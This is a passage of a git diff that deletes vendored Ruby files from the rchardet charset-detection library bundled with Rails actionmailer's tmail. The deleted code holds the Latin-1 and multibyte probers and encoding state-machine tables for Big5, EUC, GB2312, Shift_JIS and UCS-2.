-    OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH,   # A8 - AF
-    OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH,   # B0 - B7
-    OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH,   # B8 - BF
-    ACV, ACV, ACV, ACV, ACV, ACV, ACO, ACO,   # C0 - C7
-    ACV, ACV, ACV, ACV, ACV, ACV, ACV, ACV,   # C8 - CF
-    ACO, ACO, ACV, ACV, ACV, ACV, ACV, OTH,   # D0 - D7
-    ACV, ACV, ACV, ACV, ACV, ACO, ACO, ACO,   # D8 - DF
-    ASV, ASV, ASV, ASV, ASV, ASV, ASO, ASO,   # E0 - E7
-    ASV, ASV, ASV, ASV, ASV, ASV, ASV, ASV,   # E8 - EF
-    ASO, ASO, ASV, ASV, ASV, ASV, ASV, OTH,   # F0 - F7
-    ASV, ASV, ASV, ASV, ASV, ASO, ASO, ASO,   # F8 - FF
-  ]
-
-  # 0 : illegal 
-  # 1 : very unlikely 
-  # 2 : normal 
-  # 3 : very likely
-  Latin1ClassModel = [
-    # UDF OTH ASC ASS ACV ACO ASV ASO
-    0,  0,  0,  0,  0,  0,  0,  0,  # UDF
-    0,  3,  3,  3,  3,  3,  3,  3,  # OTH
-    0,  3,  3,  3,  3,  3,  3,  3,  # ASC
-    0,  3,  3,  3,  1,  1,  3,  3,  # ASS
-    0,  3,  3,  3,  1,  2,  1,  2,  # ACV
-    0,  3,  3,  3,  3,  3,  3,  3,  # ACO
-    0,  3,  1,  3,  1,  1,  1,  3,  # ASV
-    0,  3,  1,  3,  1,  1,  3,  3,  # ASO
-  ]
-
-  class Latin1Prober < CharSetProber
-    def initialize
-      super
-      reset()
-    end
-
-    def reset
-      @_mLastCharClass = OTH
-      @_mFreqCounter = [0] * FREQ_CAT_NUM
-      super
-    end
-
-    def get_charset_name
-      return "windows-1252"
-    end
-
-    def feed(aBuf)
-      aBuf = filter_with_english_letters(aBuf)
-      aBuf.each_byte do |b|
-        c = b.chr
-        charClass = Latin1_CharToClass[c[0]]
-        freq = Latin1ClassModel[(@_mLastCharClass * CLASS_NUM) + charClass]
-        if freq == 0
-          @_mState = ENotMe
-          break
-        end
-        @_mFreqCounter[freq] += 1
-        @_mLastCharClass = charClass
-      end
-
-      return get_state()
-    end
-
-    def get_confidence
-      if get_state() == ENotMe
-        return 0.01
-      end
-
-      total = @_mFreqCounter.inject{|a,b| a+b} 
-      if total < 0.01
-        confidence = 0.0
-      else
-        confidence = (@_mFreqCounter[3] / total) - (@_mFreqCounter[1] * 20.0 / total)
-      end
-      if confidence < 0.0
-        confidence = 0.0
-      end
-      # lower the confidence of latin1 so that other more accurate detector 
-      # can take priority.
-      confidence = confidence * 0.5
-      return confidence
-    end
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/mbcharsetprober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/mbcharsetprober.rb
deleted file mode 100755
index ede33ddc..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/mbcharsetprober.rb
+++ /dev/null
@@ -1,89 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is Mozilla Universal charset detector code.
-#
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 2001
-# the Initial Developer. All Rights Reserved.
-#
-# Contributor(s):
-#   Jeff Hodges - port to Ruby
-#   Mark Pilgrim - port to Python
-#   Shy Shalom - original C code
-#   Proofpoint, Inc.
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-module CharDet
-  class MultiByteCharSetProber < CharSetProber
-    def initialize
-      super
-      @_mDistributionAnalyzer = nil
-      @_mCodingSM = nil
-      @_mLastChar = "\x00\x00"
-    end
-
-    def reset
-      super
-      if @_mCodingSM
-        @_mCodingSM.reset()
-      end
-      if @_mDistributionAnalyzer
-        @_mDistributionAnalyzer.reset()
-      end
-      @_mLastChar = "\x00\x00"
-    end
-
-    def get_charset_name
-    end
-
-    def feed(aBuf)
-      aLen = aBuf.length
-      for i in (0...aLen)
-        codingState = @_mCodingSM.next_state(aBuf[i..i])
-        if codingState == EError
-          $stderr << "#{get_charset_name} prober hit error at byte #{i}\n" if $debug
-          @_mState = ENotMe
-          break
-        elsif codingState == EItsMe
-          @_mState = EFoundIt
-          break
-        elsif codingState == EStart
-          charLen = @_mCodingSM.get_current_charlen()
-          if i == 0
-            @_mLastChar[1] = aBuf[0..0]
-            @_mDistributionAnalyzer.feed(@_mLastChar, charLen)
-          else
-            @_mDistributionAnalyzer.feed(aBuf[i-1...i+1], charLen)
-          end
-        end
-      end
-      @_mLastChar[0] = aBuf[aLen-1..aLen-1]
-
-      if get_state() == EDetecting
-        if @_mDistributionAnalyzer.got_enough_data() and (get_confidence() > SHORTCUT_THRESHOLD)
-          @_mState = EFoundIt
-        end
-      end
-      return get_state()
-    end
-
-    def get_confidence
-      return @_mDistributionAnalyzer.get_confidence()
-    end
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/mbcsgroupprober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/mbcsgroupprober.rb
deleted file mode 100755
index 4f4113ce..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/mbcsgroupprober.rb
+++ /dev/null
@@ -1,45 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is Mozilla Universal charset detector code.
-#
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 2001
-# the Initial Developer. All Rights Reserved.
-#
-# Contributor(s):
-#   Jeff Hodges - port to Ruby
-#   Mark Pilgrim - port to Python
-#   Shy Shalom - original C code
-#   Proofpoint, Inc.
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-module CharDet
-  class MBCSGroupProber < CharSetGroupProber
-    def initialize
-      super
-      @_mProbers = [ UTF8Prober.new,
-                     SJISProber.new,
-                     EUCJPProber.new,
-                     GB2312Prober.new,
-                     EUCKRProber.new,
-                     Big5Prober.new,
-                     EUCTWProber.new ]
-      reset()
-    end
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/mbcssm.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/mbcssm.rb
deleted file mode 100755
index 3c6abaf5..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/mbcssm.rb
+++ /dev/null
@@ -1,542 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is mozilla.org code.
-#
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 1998
-# the Initial Developer. All Rights Reserved.
-#
-# Contributor(s):
-#   Jeff Hodges - port to Ruby
-#   Mark Pilgrim - port to Python
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-module CharDet
-  # BIG5 
-
-  BIG5_cls = [
-    1,1,1,1,1,1,1,1,  # 00 - 07    #allow 0x00 as legal value
-    1,1,1,1,1,1,0,0,  # 08 - 0f 
-    1,1,1,1,1,1,1,1,  # 10 - 17 
-    1,1,1,0,1,1,1,1,  # 18 - 1f 
-    1,1,1,1,1,1,1,1,  # 20 - 27 
-    1,1,1,1,1,1,1,1,  # 28 - 2f 
-    1,1,1,1,1,1,1,1,  # 30 - 37 
-    1,1,1,1,1,1,1,1,  # 38 - 3f 
-    2,2,2,2,2,2,2,2,  # 40 - 47 
-    2,2,2,2,2,2,2,2,  # 48 - 4f 
-    2,2,2,2,2,2,2,2,  # 50 - 57 
-    2,2,2,2,2,2,2,2,  # 58 - 5f 
-    2,2,2,2,2,2,2,2,  # 60 - 67 
-    2,2,2,2,2,2,2,2,  # 68 - 6f 
-    2,2,2,2,2,2,2,2,  # 70 - 77 
-    2,2,2,2,2,2,2,1,  # 78 - 7f 
-    4,4,4,4,4,4,4,4,  # 80 - 87 
-    4,4,4,4,4,4,4,4,  # 88 - 8f 
-    4,4,4,4,4,4,4,4,  # 90 - 97 
-    4,4,4,4,4,4,4,4,  # 98 - 9f 
-    4,3,3,3,3,3,3,3,  # a0 - a7 
-    3,3,3,3,3,3,3,3,  # a8 - af 
-    3,3,3,3,3,3,3,3,  # b0 - b7 
-    3,3,3,3,3,3,3,3,  # b8 - bf 
-    3,3,3,3,3,3,3,3,  # c0 - c7 
-    3,3,3,3,3,3,3,3,  # c8 - cf 
-    3,3,3,3,3,3,3,3,  # d0 - d7 
-    3,3,3,3,3,3,3,3,  # d8 - df 
-    3,3,3,3,3,3,3,3,  # e0 - e7 
-    3,3,3,3,3,3,3,3,  # e8 - ef 
-    3,3,3,3,3,3,3,3,  # f0 - f7 
-    3,3,3,3,3,3,3,0  # f8 - ff 
-  ]
-
-  BIG5_st = [
-    EError,EStart,EStart,     3,EError,EError,EError,EError,#00-07 
-    EError,EError,EItsMe,EItsMe,EItsMe,EItsMe,EItsMe,EError,#08-0f 
-    EError,EStart,EStart,EStart,EStart,EStart,EStart,EStart #10-17 
-  ]
-
-  Big5CharLenTable = [0, 1, 1, 2, 0]
-
-  Big5SMModel = {'classTable' =>  BIG5_cls,
-                 'classFactor' =>  5,
-                 'stateTable' =>  BIG5_st,
-                 'charLenTable' =>  Big5CharLenTable,
-                 'name' =>  'Big5'
-  }
-
-  # EUC-JP
-
-  EUCJP_cls = [
-    4,4,4,4,4,4,4,4,  # 00 - 07 
-    4,4,4,4,4,4,5,5,  # 08 - 0f 
-    4,4,4,4,4,4,4,4,  # 10 - 17 
-    4,4,4,5,4,4,4,4,  # 18 - 1f 
-    4,4,4,4,4,4,4,4,  # 20 - 27 
-    4,4,4,4,4,4,4,4,  # 28 - 2f 
-    4,4,4,4,4,4,4,4,  # 30 - 37 
-    4,4,4,4,4,4,4,4,  # 38 - 3f 
-    4,4,4,4,4,4,4,4,  # 40 - 47 
-    4,4,4,4,4,4,4,4,  # 48 - 4f 
-    4,4,4,4,4,4,4,4,  # 50 - 57 
-    4,4,4,4,4,4,4,4,  # 58 - 5f 
-    4,4,4,4,4,4,4,4,  # 60 - 67 
-    4,4,4,4,4,4,4,4,  # 68 - 6f 
-    4,4,4,4,4,4,4,4,  # 70 - 77 
-    4,4,4,4,4,4,4,4,  # 78 - 7f 
-    5,5,5,5,5,5,5,5,  # 80 - 87 
-    5,5,5,5,5,5,1,3,  # 88 - 8f 
-    5,5,5,5,5,5,5,5,  # 90 - 97 
-    5,5,5,5,5,5,5,5,  # 98 - 9f 
-    5,2,2,2,2,2,2,2,  # a0 - a7 
-    2,2,2,2,2,2,2,2,  # a8 - af 
-    2,2,2,2,2,2,2,2,  # b0 - b7 
-    2,2,2,2,2,2,2,2,  # b8 - bf 
-    2,2,2,2,2,2,2,2,  # c0 - c7 
-    2,2,2,2,2,2,2,2,  # c8 - cf 
-    2,2,2,2,2,2,2,2,  # d0 - d7 
-    2,2,2,2,2,2,2,2,  # d8 - df 
-    0,0,0,0,0,0,0,0,  # e0 - e7 
-    0,0,0,0,0,0,0,0,  # e8 - ef 
-    0,0,0,0,0,0,0,0,  # f0 - f7 
-    0,0,0,0,0,0,0,5  # f8 - ff 
-  ]
-
-  EUCJP_st = [
-    3,     4,     3,     5,EStart,EError,EError,EError,#00-07 
-    EError,EError,EError,EError,EItsMe,EItsMe,EItsMe,EItsMe,#08-0f 
-    EItsMe,EItsMe,EStart,EError,EStart,EError,EError,EError,#10-17 
-    EError,EError,EStart,EError,EError,EError,     3,EError,#18-1f 
-    3,EError,EError,EError,EStart,EStart,EStart,EStart #20-27 
-  ]
-
-  EUCJPCharLenTable = [2, 2, 2, 3, 1, 0]
-
-  EUCJPSMModel = {'classTable' =>  EUCJP_cls,
-                  'classFactor' =>  6,
-                  'stateTable' =>  EUCJP_st,
-                  'charLenTable' =>  EUCJPCharLenTable,
-                  'name' =>  'EUC-JP'
-  }
-
-  # EUC-KR
-
-  EUCKR_cls  = [
-    1,1,1,1,1,1,1,1,  # 00 - 07 
-    1,1,1,1,1,1,0,0,  # 08 - 0f 
-    1,1,1,1,1,1,1,1,  # 10 - 17 
-    1,1,1,0,1,1,1,1,  # 18 - 1f 
-    1,1,1,1,1,1,1,1,  # 20 - 27 
-    1,1,1,1,1,1,1,1,  # 28 - 2f 
-    1,1,1,1,1,1,1,1,  # 30 - 37 
-    1,1,1,1,1,1,1,1,  # 38 - 3f 
-    1,1,1,1,1,1,1,1,  # 40 - 47 
-    1,1,1,1,1,1,1,1,  # 48 - 4f 
-    1,1,1,1,1,1,1,1,  # 50 - 57 
-    1,1,1,1,1,1,1,1,  # 58 - 5f 
-    1,1,1,1,1,1,1,1,  # 60 - 67 
-    1,1,1,1,1,1,1,1,  # 68 - 6f 
-    1,1,1,1,1,1,1,1,  # 70 - 77 
-    1,1,1,1,1,1,1,1,  # 78 - 7f 
-    0,0,0,0,0,0,0,0,  # 80 - 87 
-    0,0,0,0,0,0,0,0,  # 88 - 8f 
-    0,0,0,0,0,0,0,0,  # 90 - 97 
-    0,0,0,0,0,0,0,0,  # 98 - 9f 
-    0,2,2,2,2,2,2,2,  # a0 - a7 
-    2,2,2,2,2,3,3,3,  # a8 - af 
-    2,2,2,2,2,2,2,2,  # b0 - b7 
-    2,2,2,2,2,2,2,2,  # b8 - bf 
-    2,2,2,2,2,2,2,2,  # c0 - c7 
-    2,3,2,2,2,2,2,2,  # c8 - cf 
-    2,2,2,2,2,2,2,2,  # d0 - d7 
-    2,2,2,2,2,2,2,2,  # d8 - df 
-    2,2,2,2,2,2,2,2,  # e0 - e7 
-    2,2,2,2,2,2,2,2,  # e8 - ef 
-    2,2,2,2,2,2,2,2,  # f0 - f7 
-    2,2,2,2,2,2,2,0  # f8 - ff 
-  ]
-
-  EUCKR_st = [
-    EError,EStart,     3,EError,EError,EError,EError,EError,#00-07 
-    EItsMe,EItsMe,EItsMe,EItsMe,EError,EError,EStart,EStart#08-0f 
-  ]
-
-  EUCKRCharLenTable = [0, 1, 2, 0]
-
-  EUCKRSMModel = {'classTable' =>  EUCKR_cls,
-                  'classFactor' =>  4,
-                  'stateTable' =>  EUCKR_st,
-                  'charLenTable' =>  EUCKRCharLenTable,
-                  'name' =>  'EUC-KR'
-  }
-
-  # EUC-TW
-
-  EUCTW_cls = [
-    2,2,2,2,2,2,2,2,  # 00 - 07 
-    2,2,2,2,2,2,0,0,  # 08 - 0f 
-    2,2,2,2,2,2,2,2,  # 10 - 17 
-    2,2,2,0,2,2,2,2,  # 18 - 1f 
-    2,2,2,2,2,2,2,2,  # 20 - 27 
-    2,2,2,2,2,2,2,2,  # 28 - 2f 
-    2,2,2,2,2,2,2,2,  # 30 - 37 
-    2,2,2,2,2,2,2,2,  # 38 - 3f 
-    2,2,2,2,2,2,2,2,  # 40 - 47 
-    2,2,2,2,2,2,2,2,  # 48 - 4f 
-    2,2,2,2,2,2,2,2,  # 50 - 57 
-    2,2,2,2,2,2,2,2,  # 58 - 5f 
-    2,2,2,2,2,2,2,2,  # 60 - 67 
-    2,2,2,2,2,2,2,2,  # 68 - 6f 
-    2,2,2,2,2,2,2,2,  # 70 - 77 
-    2,2,2,2,2,2,2,2,  # 78 - 7f 
-    0,0,0,0,0,0,0,0,  # 80 - 87 
-    0,0,0,0,0,0,6,0,  # 88 - 8f 
-    0,0,0,0,0,0,0,0,  # 90 - 97 
-    0,0,0,0,0,0,0,0,  # 98 - 9f 
-    0,3,4,4,4,4,4,4,  # a0 - a7 
-    5,5,1,1,1,1,1,1,  # a8 - af 
-    1,1,1,1,1,1,1,1,  # b0 - b7 
-    1,1,1,1,1,1,1,1,  # b8 - bf 
-    1,1,3,1,3,3,3,3,  # c0 - c7 
-    3,3,3,3,3,3,3,3,  # c8 - cf 
-    3,3,3,3,3,3,3,3,  # d0 - d7 
-    3,3,3,3,3,3,3,3,  # d8 - df 
-    3,3,3,3,3,3,3,3,  # e0 - e7 
-    3,3,3,3,3,3,3,3,  # e8 - ef 
-    3,3,3,3,3,3,3,3,  # f0 - f7 
-    3,3,3,3,3,3,3,0  # f8 - ff 
-  ]
-
-  EUCTW_st = [
-    EError,EError,EStart,     3,     3,     3,     4,EError,#00-07 
-    EError,EError,EError,EError,EError,EError,EItsMe,EItsMe,#08-0f 
-    EItsMe,EItsMe,EItsMe,EItsMe,EItsMe,EError,EStart,EError,#10-17 
-    EStart,EStart,EStart,EError,EError,EError,EError,EError,#18-1f 
-    5,EError,EError,EError,EStart,EError,EStart,EStart,#20-27 
-    EStart,EError,EStart,EStart,EStart,EStart,EStart,EStart #28-2f 
-  ]
-
-  EUCTWCharLenTable = [0, 0, 1, 2, 2, 2, 3]
-
-  EUCTWSMModel = {'classTable' =>  EUCTW_cls,
-                  'classFactor' =>  7,
-                  'stateTable' =>  EUCTW_st,
-                  'charLenTable' =>  EUCTWCharLenTable,
-                  'name' =>  'x-euc-tw'
-  }
-
-  # GB2312
-
-  GB2312_cls = [
-    1,1,1,1,1,1,1,1,  # 00 - 07 
-    1,1,1,1,1,1,0,0,  # 08 - 0f 
-    1,1,1,1,1,1,1,1,  # 10 - 17 
-    1,1,1,0,1,1,1,1,  # 18 - 1f 
-    1,1,1,1,1,1,1,1,  # 20 - 27 
-    1,1,1,1,1,1,1,1,  # 28 - 2f 
-    3,3,3,3,3,3,3,3,  # 30 - 37 
-    3,3,1,1,1,1,1,1,  # 38 - 3f 
-    2,2,2,2,2,2,2,2,  # 40 - 47 
-    2,2,2,2,2,2,2,2,  # 48 - 4f 
-    2,2,2,2,2,2,2,2,  # 50 - 57 
-    2,2,2,2,2,2,2,2,  # 58 - 5f 
-    2,2,2,2,2,2,2,2,  # 60 - 67 
-    2,2,2,2,2,2,2,2,  # 68 - 6f 
-    2,2,2,2,2,2,2,2,  # 70 - 77 
-    2,2,2,2,2,2,2,4,  # 78 - 7f 
-    5,6,6,6,6,6,6,6,  # 80 - 87 
-    6,6,6,6,6,6,6,6,  # 88 - 8f 
-    6,6,6,6,6,6,6,6,  # 90 - 97 
-    6,6,6,6,6,6,6,6,  # 98 - 9f 
-    6,6,6,6,6,6,6,6,  # a0 - a7 
-    6,6,6,6,6,6,6,6,  # a8 - af 
-    6,6,6,6,6,6,6,6,  # b0 - b7 
-    6,6,6,6,6,6,6,6,  # b8 - bf 
-    6,6,6,6,6,6,6,6,  # c0 - c7 
-    6,6,6,6,6,6,6,6,  # c8 - cf 
-    6,6,6,6,6,6,6,6,  # d0 - d7 
-    6,6,6,6,6,6,6,6,  # d8 - df 
-    6,6,6,6,6,6,6,6,  # e0 - e7 
-    6,6,6,6,6,6,6,6,  # e8 - ef 
-    6,6,6,6,6,6,6,6,  # f0 - f7 
-    6,6,6,6,6,6,6,0  # f8 - ff 
-  ]
-
-  GB2312_st = [
-    EError,EStart,EStart,EStart,EStart,EStart,     3,EError,#00-07 
-    EError,EError,EError,EError,EError,EError,EItsMe,EItsMe,#08-0f 
-    EItsMe,EItsMe,EItsMe,EItsMe,EItsMe,EError,EError,EStart,#10-17 
-    4,EError,EStart,EStart,EError,EError,EError,EError,#18-1f 
-    EError,EError,     5,EError,EError,EError,EItsMe,EError,#20-27 
-    EError,EError,EStart,EStart,EStart,EStart,EStart,EStart#28-2f 
-  ]
-
-  # To be accurate, the length of class 6 can be either 2 or 4. 
-  # But it is not necessary to discriminate between the two since 
-  # it is used for frequency analysis only, and we are validing 
-  # each code range there as well. So it is safe to set it to be 
-  # 2 here. 
-  GB2312CharLenTable = [0, 1, 1, 1, 1, 1, 2]
-
-  GB2312SMModel = {'classTable' =>  GB2312_cls,
-                   'classFactor' =>  7,
-                   'stateTable' =>  GB2312_st,
-                   'charLenTable' =>  GB2312CharLenTable,
-                   'name' =>  'GB2312'
-  }
-
-  # Shift_JIS
-
-  SJIS_cls = [
-    1,1,1,1,1,1,1,1,  # 00 - 07 
-    1,1,1,1,1,1,0,0,  # 08 - 0f 
-    1,1,1,1,1,1,1,1,  # 10 - 17 
-    1,1,1,0,1,1,1,1,  # 18 - 1f 
-    1,1,1,1,1,1,1,1,  # 20 - 27 
-    1,1,1,1,1,1,1,1,  # 28 - 2f 
-    1,1,1,1,1,1,1,1,  # 30 - 37 
-    1,1,1,1,1,1,1,1,  # 38 - 3f 
-    2,2,2,2,2,2,2,2,  # 40 - 47 
-    2,2,2,2,2,2,2,2,  # 48 - 4f 
-    2,2,2,2,2,2,2,2,  # 50 - 57 
-    2,2,2,2,2,2,2,2,  # 58 - 5f 
-    2,2,2,2,2,2,2,2,  # 60 - 67 
-    2,2,2,2,2,2,2,2,  # 68 - 6f 
-    2,2,2,2,2,2,2,2,  # 70 - 77 
-    2,2,2,2,2,2,2,1,  # 78 - 7f 
-    3,3,3,3,3,3,3,3,  # 80 - 87 
-    3,3,3,3,3,3,3,3,  # 88 - 8f 
-    3,3,3,3,3,3,3,3,  # 90 - 97 
-    3,3,3,3,3,3,3,3,  # 98 - 9f 
-    #0xa0 is illegal in sjis encoding, but some pages does 
-    #contain such byte. We need to be more error forgiven.
-    2,2,2,2,2,2,2,2,  # a0 - a7     
-    2,2,2,2,2,2,2,2,  # a8 - af 
-    2,2,2,2,2,2,2,2,  # b0 - b7 
-    2,2,2,2,2,2,2,2,  # b8 - bf 
-    2,2,2,2,2,2,2,2,  # c0 - c7 
-    2,2,2,2,2,2,2,2,  # c8 - cf 
-    2,2,2,2,2,2,2,2,  # d0 - d7 
-    2,2,2,2,2,2,2,2,  # d8 - df 
-    3,3,3,3,3,3,3,3,  # e0 - e7 
-    3,3,3,3,3,4,4,4,  # e8 - ef 
-    4,4,4,4,4,4,4,4,  # f0 - f7 
-    4,4,4,4,4,0,0,0  # f8 - ff 
-  ]
-
-  SJIS_st = [
-    EError,EStart,EStart,     3,EError,EError,EError,EError,#00-07 
-    EError,EError,EError,EError,EItsMe,EItsMe,EItsMe,EItsMe,#08-0f 
-    EItsMe,EItsMe,EError,EError,EStart,EStart,EStart,EStart#10-17 
-  ]
-
-  SJISCharLenTable = [0, 1, 1, 2, 0, 0]
-
-  SJISSMModel = {'classTable' =>  SJIS_cls,
-                 'classFactor' =>  6,
-                 'stateTable' =>  SJIS_st,
-                 'charLenTable' =>  SJISCharLenTable,
-                 'name' =>  'Shift_JIS'
-  }
-
-  # UCS2-BE
-
-  UCS2BE_cls = [
-    0,0,0,0,0,0,0,0,  # 00 - 07 
-    0,0,1,0,0,2,0,0,  # 08 - 0f 
-    0,0,0,0,0,0,0,0,  # 10 - 17 
-    0,0,0,3,0,0,0,0,  # 18 - 1f 
-    0,0,0,0,0,0,0,0,  # 20 - 27 
-    0,3,3,3,3,3,0,0,  # 28 - 2f 
-    0,0,0,0,0,0,0,0,  # 30 - 37 
-    0,0,0,0,0,0,0,0,  # 38 - 3f 
-    0,0,0,0,0,0,0,0,  # 40 - 47 
-    0,0,0,0,0,0,0,0,  # 48 - 4f 
-    0,0,0,0,0,0,0,0,  # 50 - 57 
-    0,0,0,0,0,0,0,0,  # 58 - 5f 
-    0,0,0,0,0,0,0,0,  # 60 - 67 
-    0,0,0,0,0,0,0,0,  # 68 - 6f 
-    0,0,0,0,0,0,0,0,  # 70 - 77 
-    0,0,0,0,0,0,0,0,  # 78 - 7f 
-    0,0,0,0,0,0,0,0,  # 80 - 87 
-    0,0,0,0,0,0,0,0,  # 88 - 8f 
-    0,0,0,0,0,0,0,0,  # 90 - 97 
-    0,0,0,0,0,0,0,0,  # 98 - 9f 
-    0,0,0,0,0,0,0,0,  # a0 - a7 
-    0,0,0,0,0,0,0,0,  # a8 - af 
-    0,0,0,0,0,0,0,0,  # b0 - b7 
-    0,0,0,0,0,0,0,0,  # b8 - bf 
-    0,0,0,0,0,0,0,0,  # c0 - c7 
-    0,0,0,0,0,0,0,0,  # c8 - cf 
-    0,0,0,0,0,0,0,0,  # d0 - d7 
-    0,0,0,0,0,0,0,0,  # d8 - df 
-    0,0,0,0,0,0,0,0,  # e0 - e7 
-    0,0,0,0,0,0,0,0,  # e8 - ef 
-    0,0,0,0,0,0,0,0,  # f0 - f7 
-    0,0,0,0,0,0,4,5  # f8 - ff 
-  ]
-
-  UCS2BE_st  = [
-    5,     7,     7,EError,     4,     3,EError,EError,#00-07 
-    EError,EError,EError,EError,EItsMe,EItsMe,EItsMe,EItsMe,#08-0f 
-    EItsMe,EItsMe,     6,     6,     6,     6,EError,EError,#10-17 
-    6,     6,     6,     6,     6,EItsMe,     6,     6,#18-1f 
-    6,     6,     6,     6,     5,     7,     7,EError,#20-27 
-    5,     8,     6,     6,EError,     6,     6,     6,#28-2f 
-    6,     6,     6,     6,EError,EError,EStart,EStart#30-37 
-  ]
-
-  UCS2BECharLenTable = [2, 2, 2, 0, 2, 2]
-
-  UCS2BESMModel = {'classTable' =>  UCS2BE_cls,
-                   'classFactor' =>  6,
-                   'stateTable' =>  UCS2BE_st,
-                   'charLenTable' =>  UCS2BECharLenTable,
-                   'name' =>  'UTF-16BE'
-  }
-
-  # UCS2-LE
-
-  UCS2LE_cls = [
-    0,0,0,0,0,0,0,0,  # 00 - 07 
-    0,0,1,0,0,2,0,0,  # 08 - 0f 
-    0,0,0,0,0,0,0,0,  # 10 - 17 
-    0,0,0,3,0,0,0,0,  # 18 - 1f 
-    0,0,0,0,0,0,0,0,  # 20 - 27 
-    0,3,3,3,3,3,0,0,  # 28 - 2f 
-    0,0,0,0,0,0,0,0,  # 30 - 37 
-    0,0,0,0,0,0,0,0,  # 38 - 3f 
-    0,0,0,0,0,0,0,0,  # 40 - 47 
-    0,0,0,0,0,0,0,0,  # 48 - 4f 
-    0,0,0,0,0,0,0,0,  # 50 - 57 
-    0,0,0,0,0,0,0,0,  # 58 - 5f 
-    0,0,0,0,0,0,0,0,  # 60 - 67 
-    0,0,0,0,0,0,0,0,  # 68 - 6f 
-    0,0,0,0,0,0,0,0,  # 70 - 77 
-    0,0,0,0,0,0,0,0,  # 78 - 7f 
-    0,0,0,0,0,0,0,0,  # 80 - 87 
-    0,0,0,0,0,0,0,0,  # 88 - 8f 
-    0,0,0,0,0,0,0,0,  # 90 - 97 
-    0,0,0,0,0,0,0,0,  # 98 - 9f 
-    0,0,0,0,0,0,0,0,  # a0 - a7 
-    0,0,0,0,0,0,0,0,  # a8 - af 
-    0,0,0,0,0,0,0,0,  # b0 - b7 
-    0,0,0,0,0,0,0,0,  # b8 - bf 
-    0,0,0,0,0,0,0,0,  # c0 - c7 
-    0,0,0,0,0,0,0,0,  # c8 - cf 
-    0,0,0,0,0,0,0,0,  # d0 - d7 
-    0,0,0,0,0,0,0,0,  # d8 - df 
-    0,0,0,0,0,0,0,0,  # e0 - e7 
-    0,0,0,0,0,0,0,0,  # e8 - ef 
-    0,0,0,0,0,0,0,0,  # f0 - f7 
-    0,0,0,0,0,0,4,5  # f8 - ff 
-  ]
-
-  UCS2LE_st = [
-    6,     6,     7,     6,     4,     3,EError,EError,#00-07 
-    EError,EError,EError,EError,EItsMe,EItsMe,EItsMe,EItsMe,#08-0f 
-    EItsMe,EItsMe,     5,     5,     5,EError,EItsMe,EError,#10-17 
-    5,     5,     5,EError,     5,EError,     6,     6,#18-1f 
-    7,     6,     8,     8,     5,     5,     5,EError,#20-27 
-    5,     5,     5,EError,EError,EError,     5,     5,#28-2f 
-    5,     5,     5,EError,     5,EError,EStart,EStart#30-37 
-  ]
-
-  UCS2LECharLenTable = [2, 2, 2, 2, 2, 2]
-
-  UCS2LESMModel = {'classTable' =>  UCS2LE_cls,
-                   'classFactor' =>  6,
